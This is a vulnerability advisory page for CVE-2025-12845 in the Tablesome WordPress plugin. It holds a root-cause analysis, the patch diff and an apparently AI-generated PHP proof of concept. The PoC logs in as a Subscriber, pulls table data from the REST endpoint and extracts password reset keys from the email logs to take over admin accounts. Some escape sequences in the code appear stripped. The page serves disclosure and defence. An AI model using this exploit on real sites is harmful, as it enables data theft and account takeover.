Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-12845: Tablesome Table – Contact Form DB – WPForms, CF7, Gravity, Forminator, Fluent 0.5.4 – 1.2.1 – Missing Authorization to Authenticated (Subscriber+) Information Exposure and Privilege Escalation (tablesome)

Plugin tablesome
Severity High (CVSS 8.8)
CWE 862
Vulnerable Version 1.2.1
Patched Version 1.2.2
Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-12845:
The vulnerability is a missing authorization check in the Tablesome WordPress plugin versions 0.5.4 to 1.2.1. It allows authenticated attackers with Subscriber-level permissions or higher to access sensitive plugin table data via REST API endpoints. This data exposure can lead to privilege escalation through password reset key extraction.

Root Cause:
The vulnerability originates in the `get_table_data()` function within `/tablesome/includes/modules/tablesomedb-rest-api/tablesomedb-rest-api.php`. Before patching, the REST API route registration in `/tablesome/includes/modules/tablesomedb-rest-api/routes.php` assigned the permission callback for the `/get-table-data` endpoint to `api_access_permission()`. This callback did not enforce adequate capability checks. The `get_table_data()` function itself also lacked any internal authorization validation, relying solely on the insufficient route-level permission callback.

Exploitation:
Attackers authenticate as a Subscriber-level user and send a GET request to the WordPress REST API endpoint `/wp-json/tablesome/v1/get-table-data`. The request includes the `table_id` parameter specifying the target table. No special headers or complex payloads are required. Successful exploitation returns the complete table data, which may contain email logs and other sensitive information. Attackers can then parse this data for password reset links or keys.

Patch Analysis:
The patch introduces two new permission callback functions: `api_table_read_permission()` and `api_table_export_permission()`. It replaces the generic `api_access_permission()` callback for the `/get-table-data` and `/get-tables` endpoints with `api_table_read_permission()`. This new callback explicitly checks for the `manage_options` capability, restricting access to administrators only. The patch also adds defense-in-depth checks directly within the `get_table_data()` and `get_tables()` functions, verifying `current_user_can(‘manage_options’)` before processing any request.

Impact:
Exploitation leads to unauthorized information disclosure of all data stored in Tablesome plugin tables. When email logging is enabled, this includes email content, sender/recipient addresses, and timestamps. Attackers can leverage exposed password reset links or keys to compromise administrator accounts, achieving full privilege escalation. The vulnerability affects the confidentiality and integrity of the WordPress installation.

Differential between vulnerable and patched code

Code Diff
--- a/tablesome/includes/dashboard/cpt-page.php
+++ b/tablesome/includes/dashboard/cpt-page.php
@@ -102,10 +102,12 @@
             $html = '<div class="tablesome__fields">';
             // $html .= '<label for="tablesome-shortcode">'.__("", "tablesome").'Tablesome Shortcode</label>';
             $html .= '<div class="tablesome__field--shortcodeWrapper" title="Table Shortcode">';
-            $html .= '<input type="text" id="tablesome__field--shortcode" value="' . $shortcode_in_text . '" readonly class="tablesome__field--shortcode" >';
-            $html .= '<span class="tablesome__field--clipboardText" title="' . __( "Copy Shortcode Clipboard", "tablesome" ) . '">' . __( "Copy Shortcode", "tablesome" ) . '</span>';
+            $html .= '<input type="text" id="tablesome__field--shortcode" value="' . esc_attr( $shortcode_in_text ) . '" readonly class="tablesome__field--shortcode" data-table-id="' . esc_attr( $post->ID ) . '" data-initial-shortcode="' . esc_attr( $shortcode_in_text ) . '">';
+            $html .= '<span class="tablesome__field--clipboardText" title="' . esc_attr( __( "Copy Shortcode Clipboard", "tablesome" ) ) . '">' . esc_html( __( "Copy Shortcode", "tablesome" ) ) . '</span>';
+            $html .= '<button type="button" class="tablesome__field--customizeButton" title="' . esc_attr( __( "Customize Shortcode", "tablesome" ) ) . '" data-table-id="' . esc_attr( $post->ID ) . '">' . esc_html( __( "Customize", "tablesome" ) ) . '</button>';
             $html .= '</div>';
-            $html .= '<p class="description">' . __( "Copy and paste this shortcode in any page or post to display this Table", "tablesome" ) . '</p>';
+            $html .= '<p class="description">' . esc_html( __( "Copy and paste this shortcode in any page or post to display this Table", "tablesome" ) ) . '</p>';
+            $html .= '<div id="tablesome-shortcode-customizer-container"></div>';
             $html .= '</div>';
             return $html;
         }
--- a/tablesome/includes/modules/tablesomedb-rest-api/routes.php
+++ b/tablesome/includes/modules/tablesomedb-rest-api/routes.php
@@ -45,7 +45,7 @@
                                 'type' => 'number',
                             ),
                         ),
-                        'permission_callback' => '__return_true',
+                        'permission_callback' => array($tablesome_db, 'api_table_export_permission'),
                     ),
                 ),

@@ -55,7 +55,7 @@
                     'args' => array(
                         'methods' => WP_REST_Server::READABLE,
                         'callback' => array($tablesome_db, 'get_tables'),
-                        'permission_callback' => array($tablesome_db, 'api_access_permission'),
+                        'permission_callback' => array($tablesome_db, 'api_table_read_permission'),
                     ),
                 ),

@@ -71,7 +71,7 @@
                                 'type' => 'number',
                             ),
                         ),
-                        'permission_callback' => array($tablesome_db, 'api_access_permission'),
+                        'permission_callback' => array($tablesome_db, 'api_table_read_permission'),
                     ),
                 ),

--- a/tablesome/includes/modules/tablesomedb-rest-api/tablesomedb-rest-api.php
+++ b/tablesome/includes/modules/tablesomedb-rest-api/tablesomedb-rest-api.php
@@ -140,6 +140,76 @@
             return new WP_Error($error_code, $this->get_error_message($error_code));
         }

+        /**
+         * Permission callback for REST API endpoints that read table data.
+         * Requires admin-level access (manage_options capability) to prevent
+         * unauthorized access to sensitive table data like email logs.
+         *
+         * @return bool|WP_Error True if user has permission, WP_Error otherwise
+         */
+        public function api_table_read_permission()
+        {
+            // Require admin-level access for reading table data via REST API
+            if (!current_user_can('manage_options')) {
+                $error_code = "UNAUTHORIZED";
+                return new WP_Error($error_code, $this->get_error_message($error_code));
+            }
+            return true;
+        }
+
+        /**
+         * Permission callback for the table export endpoint.
+         *
+         * Security model:
+         *  - If public export is enabled for a table (allow_public_export = true),
+         *    anyone may export it (including unauthenticated users).
+         *  - If public export is disabled:
+         *      - Only Editors/Admins (edit_others_posts / manage_options) may export.
+         *      - Contributors and lower roles are blocked, even on their own tables.
+         *
+         * This ensures that the REST export endpoint is restricted to privileged
+         * backend roles while the frontend export button can continue to use
+         * client-side XLSX based on UI permissions.
+         *
+         * @param WP_REST_Request $request
+         * @return bool|WP_Error
+         */
+        public function api_table_export_permission($request)
+        {
+            $table_id = intval($request->get_param('table_id'));
+
+            if (!$table_id) {
+                $error_code = 'REQUIRED_POST_ID';
+                return new WP_Error($error_code, $this->get_error_message($error_code));
+            }
+
+            $post = get_post($table_id);
+            if (!$post || $post->post_type !== TABLESOME_CPT) {
+                $error_code = 'INVALID_POST';
+                return new WP_Error($error_code, $this->get_error_message($error_code));
+            }
+
+            $table_meta = get_tablesome_data($table_id);
+            $access_control = isset($table_meta['options']['access_control']) ? $table_meta['options']['access_control'] : [];
+            $allow_public_export = isset($access_control['allow_public_export']) ? $access_control['allow_public_export'] : false;
+
+            // When public export is enabled, allow anyone to export.
+            if ($allow_public_export) {
+                return true;
+            }
+
+            // When public export is disabled, only Editors/Admins are allowed.
+            $can_edit_others_posts = current_user_can('edit_others_posts');
+            $can_manage_options = current_user_can('manage_options');
+
+            if ($can_manage_options || $can_edit_others_posts) {
+                return true;
+            }
+
+            $error_code = 'UNAUTHORIZED';
+            return new WP_Error($error_code, $this->get_error_message($error_code));
+        }
+
         public function get_error_message($error_code)
         {
             $messages = array(
@@ -707,6 +777,16 @@

         public function get_tables($request)
         {
+            // Defense-in-depth: Require admin-level access for reading table data via REST API
+            if (!current_user_can('manage_options')) {
+                $error_code = "UNAUTHORIZED";
+                return new WP_Error(
+                    $error_code,
+                    $this->get_error_message($error_code),
+                    array('status' => $this->get_http_status_for_error($error_code))
+                );
+            }
+
             $data = array();
             /** Get all tablesome posts */
             $posts = get_posts(
@@ -782,6 +862,16 @@
         }
         public function get_table_data($request)
         {
+            // Defense-in-depth: Require admin-level access for reading table data via REST API
+            if (!current_user_can('manage_options')) {
+                $error_code = "UNAUTHORIZED";
+                return new WP_Error(
+                    $error_code,
+                    $this->get_error_message($error_code),
+                    array('status' => $this->get_http_status_for_error($error_code))
+                );
+            }
+
             $data = array();
             $table_id = $request->get_param('table_id');
             $post = get_post($table_id);
--- a/tablesome/includes/shortcodes.php
+++ b/tablesome/includes/shortcodes.php
@@ -22,6 +22,12 @@
             $defaults = $this->default_args();
             $args = array_merge($defaults, $atts);
             // $args = shortcode_atts($defaults, $atts);
+
+            // Sanitize exclude_columns_from_search parameter
+            if (isset($args['exclude_columns_from_search'])) {
+                $args['exclude_columns_from_search'] = sanitize_text_field($args['exclude_columns_from_search']);
+            }
+
             $is_valid_table = $this->validate($args);

             if (!$is_valid_table) {
@@ -41,6 +47,7 @@
                 'pagination' => true,
                 // 'page_limit' => Tablesome_Getter::get('num_of_records_per_page'),
                 // 'exclude_column_ids' => '',
+                'exclude_columns_from_search' => '',
                 // 'search' => Tablesome_Getter::get('search'),
                 // 'hide_table_header' => Tablesome_Getter::get('hide_table_header'),
                 // 'show_serial_number_column' => Tablesome_Getter::get('show_serial_number_column'),
--- a/tablesome/tablesome.php
+++ b/tablesome/tablesome.php
@@ -5,7 +5,7 @@
 Plugin URI: https://tablesomewp.com/
 Description: Powerful Tables + Form Automations. Save, Edit, Display (frontend) & Export Form entries, integrate with Notion, Redirection for Forms. Supports Contact Form 7, WPForms, Gravity Forms, Fluent, Elementor and more
 Author: Pauple
-Version: 1.2.1
+Version: 1.2.2
 Author URI: http://pauple.com
 Network: False
 Text Domain: tablesome
@@ -46,7 +46,7 @@
             {

                 $constants = [
-                    'TABLESOME_VERSION' => '1.2.1',
+                    'TABLESOME_VERSION' => '1.2.2',
                     'TABLESOME_DOMAIN' => 'tablesome',
                     'TABLESOME_CPT' => 'tablesome_cpt',
                     'TABLESOME__FILE__' => __FILE__,
--- a/tablesome/vendor/composer/installed.php
+++ b/tablesome/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'pauple/tablesome',
         'pretty_version' => 'dev-develop',
         'version' => 'dev-develop',
-        'reference' => '804640f97a84d5e72a5cdf26bb36942d882c568d',
+        'reference' => '10c5099e3934381946b136e1b9a4081621d77102',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -31,7 +31,7 @@
         'pauple/tablesome' => array(
             'pretty_version' => 'dev-develop',
             'version' => 'dev-develop',
-            'reference' => '804640f97a84d5e72a5cdf26bb36942d882c568d',
+            'reference' => '10c5099e3934381946b136e1b9a4081621d77102',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-12845 - Tablesome Table – Contact Form DB – WPForms, CF7, Gravity, Forminator, Fluent 0.5.4 - 1.2.1 - Missing Authorization to Authenticated (Subscriber+) Information Exposure and Privilege Escalation

<?php
$target_url = 'https://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
$table_id = 123; // Replace with actual target table ID

// Step 1: Authenticate to WordPress and obtain nonce/cookies for REST API
$login_url = $target_url . '/wp-login.php';
$api_base = $target_url . '/wp-json/tablesome/v1';

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false,
]);

// Perform WordPress login
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
$login_response = curl_exec($ch);

// Step 2: Exploit the missing authorization to fetch sensitive table data
$exploit_url = $api_base . '/get-table-data?table_id=' . $table_id;
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPGET, true);

$table_data_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

curl_close($ch);

// Output results
if ($http_code == 200 && !empty($table_data_response)) {
    $data = json_decode($table_data_response, true);
    if (json_last_error() === JSON_ERROR_NONE) {
        echo "[SUCCESS] Retrieved sensitive table data.n";
        echo "Table ID: " . $table_id . "n";
        echo "Records found: " . count($data) . "n";
        // Extract email logs and password reset keys
        foreach ($data as $record) {
            if (isset($record['email_content'])) {
                if (preg_match('/reset.*key=(w+)/i', $record['email_content'], $matches)) {
                    echo "[CRITICAL] Found password reset key: " . $matches[1] . "n";
                }
            }
        }
    } else {
        echo "[ERROR] Invalid JSON response.n";
    }
} else {
    echo "[FAILED] Exploit unsuccessful. HTTP Code: " . $http_code . "n";
    echo "Response: " . $table_data_response . "n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School